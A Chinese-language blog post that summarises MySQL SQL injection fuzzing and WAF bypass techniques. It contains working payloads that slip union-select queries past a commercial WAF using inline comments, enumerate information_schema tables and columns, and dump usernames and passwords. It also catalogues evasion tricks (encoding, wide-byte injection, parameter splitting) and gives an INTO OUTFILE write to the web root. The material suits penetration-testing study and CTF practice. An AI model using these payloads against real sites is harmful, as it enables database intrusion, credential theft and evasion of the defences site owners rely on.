MySQL隱碼攻擊之Fuzz測試&Bypass WAF小結

smileleooo發表於2024-06-02

目錄
  • BurpSuite Fuzz測試
    • 內聯註釋
    • 繞過union[]select聯合查詢
    • 繞過敏感函式
    • 繞過from[]information_schema查表
    • 報錯注入示例
  • 常規繞過思路總結
    • 空格繞過
    • 引號繞過
    • 逗號繞過
    • 比較符號繞過
    • 邏輯符號繞過
    • 關鍵字繞過
    • 編碼繞過
    • 等價函式繞過
    • 寬位元組注入
    • 多引數請求拆分
    • 生僻函式
    • 輸出內容過濾

BurpSuite Fuzz測試

在繞過之前需要搞清楚哪些東西被過濾了,哪些沒有,主要思路就是透過fuzz來輔助判斷。

WAF的規則過濾時可能重點關注的5個位置:id=1[1]union[2]select[3]1,username,3[4]from[5]users

安全狗試一下-1' union select 1,2,3 --+不出所料被攔截了。

image

測試單獨的一個union和單獨的select都是可以的過的,但是組合在一起聯合查詢就會被過濾,最基本的繞過思路是使用內聯註釋/**//*!*/來替換空格繞過。

內聯註釋

註釋/*!*/可以來替換空格繞過,它是一種特殊的註釋,被稱為條件編譯註釋。當!後面接資料庫版本號時,如果自身版本號大於等於字元數,就會將註釋中的內容執行,否則就會當做註釋來處理。

比如:/*!000001*/,MySQL的版本為5.7,註釋中的內容被當作SQL語句執行了,下面的例子相當於1=1,成功繞過了and 1=1的限制。
image

image

註釋/**//*!*/的區別就是它包含的內容MySQL不會執行。

關於內聯註釋/*!50100*/特別注意50100表示MySQL的版本5.01.00或者更高的版本,才有效不報錯。也就是說內聯註釋可以從/*!00000*//*!50100*/都可以作為payload。

繞過union[]select聯合查詢

觀察以往多種bypass的payload,union和select之間的位置/**/中間加東西可以繞過。

不妨用Burp Fuzz試一試:

image

對union和select之間的字元進行爆破:

image

當字元的長度來到5的時候,發現有很多就可以繞過了:

image

隨便選一個來進行測試,構造payload如下:

image

-1'union/*/!*!/*/select%201,2,3--+

成功繞過了聯合查詢的空格過濾。

繞過敏感函式

當聯合查詢被繞過以後需要藉助一些函式來了解資料庫。但是直接執行函式毫無疑問會被過濾。

image

image

是將函式名+括號一同過濾,單獨的函式名沒有過濾,括號也沒有被過濾。使用等價函式繞過顯然不現實,函式名大小寫,雙寫這些常規套路也都沒用。

嘗試16進位制編碼繞過:

image

繞過了但又沒完全繞過,被編碼的函式名被當作一個普通的字元,不會被當作一個函式執行。

所以思路是將函式名和括號分開,在函式名上做文章,嘗試用註釋/*!xxx*//**/()這種方式來進行繞過:

單純的註釋肯定不可以,用Burp Fuzz試一試:

image

利用繞過空格的思路,發現有很多都可以繞過的:

image

隨便選一個

-1'union/*/!*!/*/select%201,/*!user*//*/-//*/(),3--+
-1'union/*/!*!/*/select%201,database/*///-*/(),3--+

成功繞過了敏感函式過濾。

繞過from[]information_schema查表

當繞過敏感函式database()後就可以檢視資料庫有哪些表,正常的SQL語句:

group_concat(table_name) from information_schema.tables where table_schema=database()

經過測試發現from table_nameinformation_schema.tables均被過濾。

同樣採用上面內聯註釋的方法試一試:

image

嘗試使用註釋繞過from後的空格,並且使用其他的表代替information_schema.tables(參考 MYSQL隱碼攻擊中information_schema的替代 )但是也沒能成功。

看看其他師傅是如何繞過的:

還有一種的話就是內聯註釋的利用方法就是中間加註釋符再加換行,也就是/*!%23%0a*/這種形式:

image

%23換成--+再構造試一試:

image

-1'union/*/!*!**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/%20where%20table_schema='security'--+

成功爆出了表名。

有了表名的繞過,那麼爆列名也不是件太難的事情,修改一下Payload即可:

image

-1'union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/%0awhere%0atable_name='users'--+

同理,修改語句即可爆欄位資訊:

image

-1'union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+

報錯注入示例

當union聯合查詢不可使用時,並且在有報錯的情況下可以考慮使用報錯注入:

and ST_LatFromGeoHash(concat(0x7e,(select/*/!*!**/username/*/!*!**/from/*/!*!**/users/*/!*!**/limit 0,1),0x7e))

image

在報錯函式中利用內聯註釋繞過空格的方式同樣可用。

常規繞過思路總結

蒐集了一些常規的繞過思路和方法,隨著WAF越來越強,有些方法已經失效了。但在實戰的時候多一種思路也不是什麼壞事。

空格繞過

最基本的繞過方法是使用註釋/**//*!*/來替換空格:

select/**/schema_name/**/from/**/information_schema.schemata;
select/*!*/schema_name/*!*/from/*!*/information_schema.schemata;

使用/*!...*/條件編譯註釋繞過空格:

/*!select*//*!schema_name*//*!from*//*!information_schema.schemata*/;

在SQL中,括號()用來重新組織語句結構,並且而括號的兩端可以沒有多餘的空格(最好用):

select(schema_name)from(information_schema.schemata);

在SQL中,反引號(``)用於標識資料庫、表或列的名稱。在反引號的兩端可以沒有多餘的空格:

select`username`from`user`;

使用浮點數:

select * from user where id=1 union select 1,2,3;
select * from user where id=1.0 union select 1,2,3;
select * from user where id=1e0union select 1,2,3;

使用%20 %09 %0a %0b %0c %0d %a0 %00等URL編碼代替空格。

引號繞過

使用十六進位制編碼繞過:

selec * from user where username="admin";
select * from user where username=0x61646D696E;

逗號繞過

使用join連線操作繞過逗號:

select * from user union select 1,2,3;
select * from user union select * from (select 1)a join (select 2)b join (select 3) as alias;

image

在盲注時,用到的字串擷取函式substr(),substring(),mid()中也會用到逗號:

substr(string, position, length)

可以使用from position for length的方式繞過逗號:

select substr(database(),1,1);
select substr(database() from 1 for 1);

select substring(database(),1,1);
select substring(database() from 1 for 1);

select mid(database(),1,1);
select mid(database() from 1 for 1);

盲注時逐個判斷查到字元ascii碼時,可以直接使用模糊查詢來繞過字串擷取函式的逗號:

select ascii(substr(database(),1,1))=117;
select database() like 'u%';

對於limit可以使用offset來繞過逗號:

select * from news limit 0,1
select * from news limit 1 offset 0

比較符號繞過

大於號>和小於號<在盲注中也經常使用。

greatest()函式可接受多個數值引數,返回最大值。least()用法相同,返回最小值。

select greatest(1,2,3);
select least(1,2,3);

字串的比較MySQL支援C語言中的字串比較函式strcmp(str1,str2)。當str1=str2,返回0;當str1>str2,返回1;當str1<str2,返回-1。

運算子in可用於在where子句中進行多項比較:

select * from user where id in (1, 3, 5);

between and 選取介於兩個值之間的資料範圍。這些值可以是數值、文字或者日期。

between 1 and 1;  #等價於=1

盲注使用二分查詢的時候,需要使用到比較運算子來進行查詢:

select * from user where ascii(substr(database(),1,1))>64;

使用greatest()函式繞過比較符號:

select * from user where greatest(ascii(substr(database(),0,1)),64)=64

如果等號=被過濾,可以考慮使用like | regexp或者<>繞過:

select * from user where username like 'admin';  #模糊匹配字串
select * from user where username regexp '^[a]'  #正規表示式匹配

<>運算子在MySQL中表示不等於:

select * from users where username <> 'guest';

邏輯符號繞過

or,and,xor,not布林邏輯運算子被過濾:

and 等價 &&   or 等價 ||   xor 等價 |   not 等價 !

在或者可用與運算子^來繞過:

真^真^真=真

真^假^真=假

真^(!(真^假))=假

關鍵字繞過

union,select,where等關鍵字被過濾:

使用大小寫繞過:

sELeCt * fRoM user UnIoN/**/SeLeCT 1,2,3;

使用註釋符繞過:

/**/, #, --+, -- -, //, -- , ;, %00, --a

內聯註釋繞過:

/*!UnIoN*/ SeLeCT 1,2,3;

雙寫繞過(只將匹配的第一個關鍵字刪除):

UNIunionONSeLselectECT1,2,3;

能使用註釋繞過的很大一部分原因是伺服器端未檢測或檢測不嚴註釋內的字串。

編碼繞過

URL編碼,ASCII,HEX,Unicode編碼繞過:

select * from user where username='admin' and password='%20OR%201=1';
select * from user where username='admin' and password=char(39,111,114,48,49,48,49,48,49)';
select * from users where username='admin' and password=0x2726;
select * from users where username='admin' and password=unicode('%u0027');

等價函式繞過

hex(),bin() ==> ascii()
sleep() ==> benchmark()
concat() ==> group_concat(),concat_ws()
substr() ==> substring(),mid(),left(),right(),elt()
length() ==> char_length()
@@user ==> user()
@@datadir ==> datadir()
......

寬位元組注入

在MySQL使用GBK編碼(寬字符集)的時候,會認為兩個字元為一個漢字。

當PHP開啟GPC後,會對特殊字元進行轉義,比如將'轉義為\',轉義後字元對應的URL編碼為%5c%27

如果現在在%5c%27的前面加上%df,則就變為了%df%5c%27。此時使用GBK編碼的MySQL就會認為%df%5c是一個寬字元,也就是一個漢字。這樣就會導致%27作為一個單獨的'符號留在外面,有了單引號就可以注入。

簡單說就是,利用寬字符集佔用兩個位元組的性質,利用%df吃掉用來轉義的\字元,造成單引號逃逸,產生注入。

id=1' =轉義處理=> id=%31%5c%27 =sql語句=> id=1\' ==> 無法注入

id=1%df' =轉義處理=> id=%31%df%5c%27 =sql語句=> id=1運' ==> 寬位元組注入

防禦:

設定MySQL的連線引數,使用二進位制模式 charcater_set_client=binary

多引數請求拆分

對於多個引數拼接到同一條SQL語句中的情況,可以將注入語句分割插入。

例如請求URL時,GET引數格式如下:

?a=[input1]&b=[input2]

將GET的引數a和引數b拼接到SQL語句中:

and a=[input1] and b=[input2]

這時就可以將注入語句進行拆分,如下所示:

a=union/*&b=*/select 1,2,3,4

最終將引數a和引數b拼接,得到的SQL語句如下所示:

and a=union /*and b=*/select 1,2,3,4

生僻函式

使用生僻函式替代常見的函式,例如在報錯注入中使用polygon()函式替換常用的updatexml()函式繞過函式過濾:

select polygon((select * from (select * from (select @@version) f) x));

輸出內容過濾

編碼

hex() to_base64()

字元替換

replace(str,from_str,to_str)

編碼+字元替換

replace(to_base64(xxx),from_str,to_str)  #replace多次套用

將查詢結果寫入檔案再讀取

0' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'#

參考文章:
https://www.cnblogs.com/Vinson404/p/7253255.html
https://cloud.tencent.com/developer/article/2050038
https://www.freebuf.com/articles/web/321240.html


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章